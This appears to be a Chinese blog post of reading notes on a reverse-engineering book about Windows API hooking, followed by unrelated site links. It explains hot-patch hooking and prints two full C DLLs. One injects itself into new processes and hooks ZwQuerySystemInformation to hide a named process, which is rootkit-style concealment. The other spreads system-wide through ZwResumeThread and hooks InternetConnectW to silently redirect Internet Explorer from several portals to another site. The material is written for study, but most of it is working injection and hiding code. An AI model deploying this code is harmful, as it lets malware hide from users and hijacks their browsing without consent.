7字节修改原理是由于部分API起始部分有7字节“无意义代码”如图:
从图中可以看到API是从MOV EDI EDI开始的,而它是无意义的,并且前面还有5个NOP命令,所以只要修改MOV EDI EDI为跳转命令(EB F9,这是通用短跳转,只要用到这个技术,他就不必修改)使它跳转到第一个NOP命令,再把5个NOP命令改为一个长跳转命令,JMP XXXXXXXX,是XXXXXXXX指向自定义代码就可以达到勾取函数的目的。
需要注意的是:
1.并非所有API都有前7个无意义字节,所有使用是需要具体查看
2.地址XXXXXXXX在编码中并非真是RVA的硬编码,而是通过公式计算:
地址XXXXXXXX=(DWORD)pfnNew-(DWORD)pFunc
实际上通用的跳转地址计算公司为
地址XXXXXXXX=(DWORD)pfnNew-(DWORD)pFunc-指令长度
而此处是因为当前地址(NOP*5)为pFunc-5,将它带入上面的公式就得到了第一个公式。
短跳转地址F9是怎么算出来的呢?
因为短跳转当前位置为pFunc目的地址为pFunc-5,指令长度为2故而(pFunc-5)-pFunc-2=-7=0xF9(程序员计算器可以算出来)
思路写完,累了就直接贴代码了
注入代码与上面HideProc2完全一样
热补丁源代码在stealth3.dll中
stealth3.dll
#include "windows.h"#include "stdio.h"#include "tchar.h"#define STR_MODULE_NAME (L"stealth3.dll")#define STR_HIDE_PROCESS_NAME (L"notepad.exe")#define STATUS_SUCCESS (0x00000000L) typedef LONG NTSTATUS;typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; BYTE Reserved1[52]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);typedef BOOL (WINAPI *PFCREATEPROCESSA)( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);typedef BOOL (WINAPI *PFCREATEPROCESSW)( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);BYTE g_pOrgZwQSI[5] = {0,};BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){ FARPROC pFunc; DWORD dwOldProtect, dwAddress; BYTE pBuf[5] = {0xE9, 0, }; PBYTE pByte; pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; if( pByte[0] == 0xE9 ) return FALSE; VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy(pOrgBytes, pFunc, 5); dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5; memcpy(&pBuf[1], &dwAddress, 4); memcpy(pFunc, pBuf, 5); VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE;}BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew){ FARPROC pFunc; DWORD dwOldProtect, dwAddress; BYTE pBuf[5] = { 0xE9, 0, }; BYTE pBuf2[2] = { 0xEB, 0xF9 }; PBYTE pByte; pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; if( pByte[0] == 0xEB ) return FALSE; VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 1. NOP (0x90) dwAddress = (DWORD)pfnNew - (DWORD)pFunc; memcpy(&pBuf[1], &dwAddress, 4); memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5); // 2. MOV EDI, EDI (0x8BFF) memcpy(pFunc, pBuf2, 2); VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect); return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){ FARPROC pFunc; DWORD dwOldProtect; PBYTE pByte; pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; if( pByte[0] != 0xE9 ) return FALSE; VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy(pFunc, pOrgBytes, 5); VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE;}BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName){ FARPROC pFunc; DWORD dwOldProtect; PBYTE pByte; BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 }; BYTE pBuf2[2] = { 0x8B, 0xFF }; pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; if( pByte[0] != 0xEB ) return FALSE; VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 1. NOP (0x90) memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5); // 2. MOV EDI, EDI (0x8BFF) memcpy(pFunc, pBuf2, 2); VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE;}BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { printf("OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { printf("The token does not have the specified privilege. \n"); return FALSE; } return TRUE;}BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName){ HANDLE hThread; LPVOID pRemoteBuf; DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR); FARPROC pThreadProc; pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); if( pRemoteBuf == NULL ) return FALSE; WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName, dwBufSize, NULL); pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadProc, pRemoteBuf, 0, NULL); WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); CloseHandle(hThread); return TRUE;}NTSTATUS WINAPI NewZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){ NTSTATUS status; FARPROC pFunc; PSYSTEM_PROCESS_INFORMATION pCur, pPrev; char szProcName[MAX_PATH] = {0,}; unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI); pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQuerySystemInformation"); status = ((PFZWQUERYSYSTEMINFORMATION)pFunc) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if( status != STATUS_SUCCESS ) goto __NTQUERYSYSTEMINFORMATION_END; if( SystemInformationClass == SystemProcessInformation ) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while(TRUE) { if(pCur->Reserved2[1] != NULL) { if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME)) { if(pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; else pPrev->NextEntryOffset += pCur->NextEntryOffset; } else pPrev = pCur; } if(pCur->NextEntryOffset == 0) break; pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset); } }__NTQUERYSYSTEMINFORMATION_END: hook_by_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI); return status;}BOOL WINAPI NewCreateProcessA( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation){ BOOL bRet; FARPROC pFunc; // original API 调用 pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA"); pFunc = (FARPROC)((DWORD)pFunc + 2); bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); // 向生成的stealth3.dll代码 if( bRet ) InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME); return bRet;}BOOL WINAPI NewCreateProcessW( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation){ BOOL bRet; FARPROC pFunc; // original API 调用 pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW"); pFunc = (FARPROC)((DWORD)pFunc + 2); bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); if( bRet ) InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME); return bRet;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ char szCurProc[MAX_PATH] = {0,}; char *p = NULL; // GetModuleFileNameA(NULL, szCurProc, MAX_PATH); p = strrchr(szCurProc, '\\'); if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") ) return TRUE; // change privilege SetPrivilege(SE_DEBUG_NAME, TRUE); switch( fdwReason ) { case DLL_PROCESS_ATTACH : // hook hook_by_hotpatch("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA); hook_by_hotpatch("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW); hook_by_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI); break; case DLL_PROCESS_DETACH : // unhook unhook_by_hotpatch("kernel32.dll", "CreateProcessA"); unhook_by_hotpatch("kernel32.dll", "CreateProcessW"); unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI); break; } return TRUE;}
最后说明一下,热补丁不再反复使用hook和unHook是勾取过程更加稳定,但是它却有API的限制,只能勾取前面有7字节无意义指令的API,吃饭,先收工!
今天又来把前面未完成的部分写完,也就是通过勾取ZwResumeThread()函数来实现全局勾取的目的,前面已经提到过为了勾取新建的进程所以要勾取父进程的CreateProcess函数,然而调用链是这样的:
CreateProcess->
CreateProcessInternal->
ZwCreateUserProcess->
ZwResumeThread.
为了勾取尽可能底层的API所以要勾取ZwResumeThread,实际上父进程在把子进程创建好了以后,会把子进程挂起等待运行,而ZwResumeThread就是用来恢复运行的。
勾取具体过程的思路和上面一样,就不再重复,这里贴上一个源代码实例,实例来自《逆向工程核心原理》34章
它是一个用于改变IE链接到指定链接的实例,其中除了要勾取上面的ZwResumeThread来实现全局勾取目的,还要勾取用于网络链接的API InternetConnect函数,并修改其中的lpszServerName参数,来改变链接地址,源代码不包括主函数,只有关键的DLL,并且部分代码是上面的代码重用,为了省力,我就不改了,^_^||
redirect.dll
// redirect.cpp#include "windows.h"#include "wininet.h"#include "stdio.h"#include "tchar.h"#define STR_MODULE_NAME (L"redirect.dll")#define STATUS_SUCCESS (0x00000000L) typedef LONG NTSTATUS;typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread;} CLIENT_ID;typedef struct _THREAD_BASIC_INFORMATION { NTSTATUS ExitStatus; PVOID TebBaseAddress; CLIENT_ID ClientId; ULONG AffinityMask; LONG Priority; LONG BasePriority;} THREAD_BASIC_INFORMATION;typedef NTSTATUS (WINAPI *PFZWRESUMETHREAD)( HANDLE ThreadHandle, PULONG SuspendCount);typedef NTSTATUS (WINAPI *PFZWQUERYINFORMATIONTHREAD)( HANDLE ThreadHandle, ULONG ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength, PULONG ReturnLength);typedef HINTERNET (WINAPI *PFINTERNETCONNECTW)( HINTERNET hInternet, LPCWSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUsername, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext);BYTE g_pZWRT[5] = {0,};BYTE g_pICW[5] = {0,};void DebugLog(const char *format, ...){ va_list vl; FILE *pf = NULL; char szLog[512] = {0,}; va_start(vl, format); wsprintfA(szLog, format, vl); va_end(vl); OutputDebugStringA(szLog);}BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { DebugLog("OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { DebugLog("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { DebugLog("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { DebugLog("The token does not have the specified privilege. \n"); return FALSE; } return TRUE;}BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){ FARPROC pFunc = NULL; DWORD dwOldProtect = 0, dwAddress = 0; BYTE pBuf[5] = {0xE9, 0, }; PBYTE pByte = NULL; HMODULE hMod = NULL; hMod = GetModuleHandleA(szDllName); if( hMod == NULL ) { DebugLog("hook_by_code() : GetModuleHandle(\"%s\") failed!!! [%d]\n", szDllName, GetLastError()); return FALSE; } pFunc = (FARPROC)GetProcAddress(hMod, szFuncName); if( pFunc == NULL ) { DebugLog("hook_by_code() : GetProcAddress(\"%s\") failed!!! [%d]\n", szFuncName, GetLastError()); return FALSE; } pByte = (PBYTE)pFunc; if( pByte[0] == 0xE9 ) { DebugLog("hook_by_code() : The API is hooked already!!!\n"); return FALSE; } if( !VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect) ) { DebugLog("hook_by_code() : VirtualProtect(#1) failed!!! [%d]\n", GetLastError()); return FALSE; } memcpy(pOrgBytes, pFunc, 5); dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5; memcpy(&pBuf[1], &dwAddress, 4); memcpy(pFunc, pBuf, 5); if( !VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect) ) { DebugLog("hook_by_code() : VirtualProtect(#2) failed!!! [%d]\n", GetLastError()); return FALSE; } return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){ FARPROC pFunc = NULL; DWORD dwOldProtect = 0; PBYTE pByte = NULL; HMODULE hMod = NULL; hMod = GetModuleHandleA(szDllName); if( hMod == NULL ) { DebugLog("unhook_by_code() : GetModuleHandle(\"%s\") failed!!! [%d]\n", szDllName, GetLastError()); return FALSE; } pFunc = (FARPROC)GetProcAddress(hMod, szFuncName); if( pFunc == NULL ) { DebugLog("unhook_by_code() : GetProcAddress(\"%s\") failed!!! [%d]\n", szFuncName, GetLastError()); return FALSE; } pByte = (PBYTE)pFunc; if( pByte[0] != 0xE9 ) { DebugLog("unhook_by_code() : The API is unhooked already!!!"); return FALSE; } if( !VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect) ) { DebugLog("unhook_by_code() : VirtualProtect(#1) failed!!! [%d]\n", GetLastError()); return FALSE; } memcpy(pFunc, pOrgBytes, 5); if( !VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect) ) { DebugLog("unhook_by_code() : VirtualProtect(#2) failed!!! [%d]\n", GetLastError()); return FALSE; } return TRUE;}BOOL IsVistaLater(){ OSVERSIONINFO osvi; ZeroMemory(&osvi, sizeof(OSVERSIONINFO)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osvi); if( osvi.dwMajorVersion >= 6 ) return TRUE; return FALSE;}typedef DWORD (WINAPI *PFNTCREATETHREADEX)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID Unknown ); BOOL MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf){ HANDLE hThread = NULL; FARPROC pFunc = NULL; if( IsVistaLater() ) // Vista, 7, Server2008 { pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx"); if( pFunc == NULL ) { DebugLog("MyCreateRemoteThread() : GetProcAddress() failed!!! [%d]\n", GetLastError()); return FALSE; } ((PFNTCREATETHREADEX)pFunc)(&hThread, 0x1FFFFF, NULL, hProcess, pThreadProc, pRemoteBuf, FALSE, NULL, NULL, NULL, NULL); if( hThread == NULL ) { DebugLog("MyCreateRemoteThread() : NtCreateThreadEx() failed!!! [%d]\n", GetLastError()); return FALSE; } } else // 2000, XP, Server2003 { hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); if( hThread == NULL ) { DebugLog("MyCreateRemoteThread() : CreateRemoteThread() failed!!! [%d]\n", GetLastError()); return FALSE; } } if( WAIT_FAILED == WaitForSingleObject(hThread, INFINITE) ) { DebugLog("MyCreateRemoteThread() : WaitForSingleObject() failed!!! [%d]\n", GetLastError()); return FALSE; } return TRUE;}BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath){ HANDLE hProcess = NULL; HANDLE hThread = NULL; LPVOID pRemoteBuf = NULL; DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc = NULL; BOOL bRet = FALSE; HMODULE hMod = NULL; if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { DebugLog("InjectDll() : OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError()); goto INJECTDLL_EXIT; } pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); if( pRemoteBuf == NULL ) { DebugLog("InjectDll() : VirtualAllocEx() failed!!! [%d]\n", GetLastError()); goto INJECTDLL_EXIT; } if( !WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL) ) { DebugLog("InjectDll() : WriteProcessMemory() failed!!! [%d]\n", GetLastError()); goto INJECTDLL_EXIT; } hMod = GetModuleHandle(L"kernel32.dll"); if( hMod == NULL ) { DebugLog("InjectDll() : GetModuleHandle() failed!!! [%d]\n", GetLastError()); goto INJECTDLL_EXIT; } pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW"); if( pThreadProc == NULL ) { DebugLog("InjectDll() : GetProcAddress() failed!!! [%d]\n", GetLastError()); goto INJECTDLL_EXIT; } if( !MyCreateRemoteThread(hProcess, pThreadProc, pRemoteBuf) ) { DebugLog("InjectDll() : MyCreateRemoteThread() failed!!!\n"); goto INJECTDLL_EXIT; } bRet = TRUE;INJECTDLL_EXIT: if( pRemoteBuf ) VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); if( hThread ) CloseHandle(hThread); if( hProcess ) CloseHandle(hProcess); return bRet;}NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle, PULONG SuspendCount){ NTSTATUS status, statusThread; FARPROC pFunc = NULL, pFuncThread = NULL; DWORD dwPID = 0; static DWORD dwPrevPID = 0; THREAD_BASIC_INFORMATION tbi; HMODULE hMod = NULL; TCHAR szModPath[MAX_PATH] = {0,}; DebugLog("NewZwResumeThread() : start!!!\n"); hMod = GetModuleHandle(L"ntdll.dll"); if( hMod == NULL ) { DebugLog("NewZwResumeThread() : GetModuleHandle() failed!!! [%d]\n", GetLastError()); return NULL; } // call ntdll!ZwQueryInformationThread() pFuncThread = GetProcAddress(hMod, "ZwQueryInformationThread"); if( pFuncThread == NULL ) { DebugLog("NewZwResumeThread() : GetProcAddress() failed!!! [%d]\n", GetLastError()); return NULL; } statusThread = ((PFZWQUERYINFORMATIONTHREAD)pFuncThread) (ThreadHandle, 0, &tbi, sizeof(tbi), NULL); if( statusThread != STATUS_SUCCESS ) { DebugLog("NewZwResumeThread() : pFuncThread() failed!!! [%d]\n", GetLastError()); return NULL; } dwPID = (DWORD)tbi.ClientId.UniqueProcess; if ( (dwPID != GetCurrentProcessId()) && (dwPID != dwPrevPID) ) { DebugLog("NewZwResumeThread() => call InjectDll()\n"); dwPrevPID = dwPID; // change privilege if( !SetPrivilege(SE_DEBUG_NAME, TRUE) ) DebugLog("NewZwResumeThread() : SetPrivilege() failed!!!\n"); // get injection dll path GetModuleFileName(GetModuleHandle(STR_MODULE_NAME), szModPath, MAX_PATH); if( !InjectDll(dwPID, szModPath) ) DebugLog("NewZwResumeThread() : InjectDll(%d) failed!!!\n", dwPID); } // call ntdll!ZwResumeThread() if( !unhook_by_code("ntdll.dll", "ZwResumeThread", g_pZWRT) ) { DebugLog("NewZwResumeThread() : unhook_by_code() failed!!!\n"); return NULL; } pFunc = GetProcAddress(hMod, "ZwResumeThread"); if( pFunc == NULL ) { DebugLog("NewZwResumeThread() : GetProcAddress() failed!!! [%d]\n", GetLastError()); goto __NTRESUMETHREAD_END; } status = ((PFZWRESUMETHREAD)pFunc)(ThreadHandle, SuspendCount); if( status != STATUS_SUCCESS ) { DebugLog("NewZwResumeThread() : pFunc() failed!!! [%d]\n", GetLastError()); goto __NTRESUMETHREAD_END; }__NTRESUMETHREAD_END: if( !hook_by_code("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, g_pZWRT) ) { DebugLog("NewZwResumeThread() : hook_by_code() failed!!!\n"); } DebugLog("NewZwResumeThread() : end!!!\n"); return status;}HINTERNET WINAPI NewInternetConnectW( HINTERNET hInternet, LPCWSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUsername, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext){ HINTERNET hInt = NULL; FARPROC pFunc = NULL; HMODULE hMod = NULL; // unhook if( !unhook_by_code("wininet.dll", "InternetConnectW", g_pICW) ) { DebugLog("NewInternetConnectW() : unhook_by_code() failed!!!\n"); return NULL; } // call original API hMod = GetModuleHandle(L"wininet.dll"); if( hMod == NULL ) { DebugLog("NewInternetConnectW() : GetModuleHandle() failed!!! [%d]\n", GetLastError()); goto __INTERNETCONNECT_EXIT; } pFunc = GetProcAddress(hMod, "InternetConnectW"); if( pFunc == NULL ) { DebugLog("NewInternetConnectW() : GetProcAddress() failed!!! [%d]\n", GetLastError()); goto __INTERNETCONNECT_EXIT; } if( !_tcsicmp(lpszServerName, L"www.naver.com") || !_tcsicmp(lpszServerName, L"www.daum.net") || !_tcsicmp(lpszServerName, L"www.nate.com") || !_tcsicmp(lpszServerName, L"www.yahoo.com") ) { DebugLog("[redirect] naver, daum, nate, yahoo => reversecore\n"); hInt = ((PFINTERNETCONNECTW)pFunc)(hInternet, L"www.reversecore.com", nServerPort, lpszUsername, lpszPassword, dwService, dwFlags, dwContext); } else { DebugLog("[no redirect]\n"); hInt = ((PFINTERNETCONNECTW)pFunc)(hInternet, lpszServerName, nServerPort, lpszUsername, lpszPassword, dwService, dwFlags, dwContext); }__INTERNETCONNECT_EXIT: // hook if( !hook_by_code("wininet.dll", "InternetConnectW", (PROC)NewInternetConnectW, g_pICW) ) { DebugLog("NewInternetConnectW() : hook_by_code() failed!!!\n"); } return hInt;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ char szCurProc[MAX_PATH] = {0,}; char *p = NULL; switch( fdwReason ) { case DLL_PROCESS_ATTACH : DebugLog("DllMain() : DLL_PROCESS_ATTACH\n"); GetModuleFileNameA(NULL, szCurProc, MAX_PATH); p = strrchr(szCurProc, '\\'); if( (p != NULL) && !_stricmp(p+1, "iexplore.exe") ) { DebugLog("DllMain() : current process is [iexplore.exe]\n"); // 勾取wininet!InternetConnectW() API 之前 // 预先加载wininet.dll (为了防止其可能未被加载的情况) if( NULL == LoadLibrary(L"wininet.dll") ) { DebugLog("DllMain() : LoadLibrary() failed!!! [%d]\n", GetLastError()); } } // hook hook_by_code("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, g_pZWRT); hook_by_code("wininet.dll", "InternetConnectW", (PROC)NewInternetConnectW, g_pICW); break; case DLL_PROCESS_DETACH : DebugLog("DllMain() : DLL_PROCESS_DETACH\n"); // unhook unhook_by_code("ntdll.dll", "ZwResumeThread", g_pZWRT); unhook_by_code("wininet.dll", "InternetConnectW", g_pICW); break; } return TRUE;}
正儿八经的收工!
- API勾取实现进程隐藏
- 纯Delphi实现,Hook API实现进程隐藏代码!
- 逆向工程核心原理读书笔记-API钩取之隐藏进程(一)
- 逆向工程核心原理读书笔记-API钩取之隐藏进程(二)
- 逆向工程核心原理读书笔记-API钩取之隐藏进程(一)
- 逆向工程核心原理读书笔记-API钩取之隐藏进程(二)
- 进程隐藏的实现
- 实现进程的隐藏
- 实现进程的隐藏
- 进程隐藏方法的实现
- linux 隐藏进程 - crux实现
- 实现进程的完全隐藏
- 使用APIHOOK实现进程隐藏
- 进程隐藏工具的实现
- ring0实现进程的隐藏
- linux 隐藏进程 - crux实现
- 使用android隐藏api实现亮度调节
- 使用android隐藏api实现亮度调节
- redis 学习笔记一,安装配置
- windows下修改系统音量
- LightOJ - 1152 Hiding Gold /poj 3041 二分匹配@
- ARM学习笔记(一)
- codeforces 554C Kyoya and Colored Balls 【组合数学+费马小定理】
- API勾取实现进程隐藏
- Linux下登录Oracle命令行时删除键^H解决方法
- ThreadPoolManager
- WordPress查询文章作者的文章数及WordPress用户角色/权限
- CentOS 下安装 Memcache
- Android 模仿微信长按录音功能
- Codevs 1074 食物链 2001年NOI全国竞赛
- POJ-2524-Ubiquitous Religions
- String 和StringBuffer,StringBuilder的区别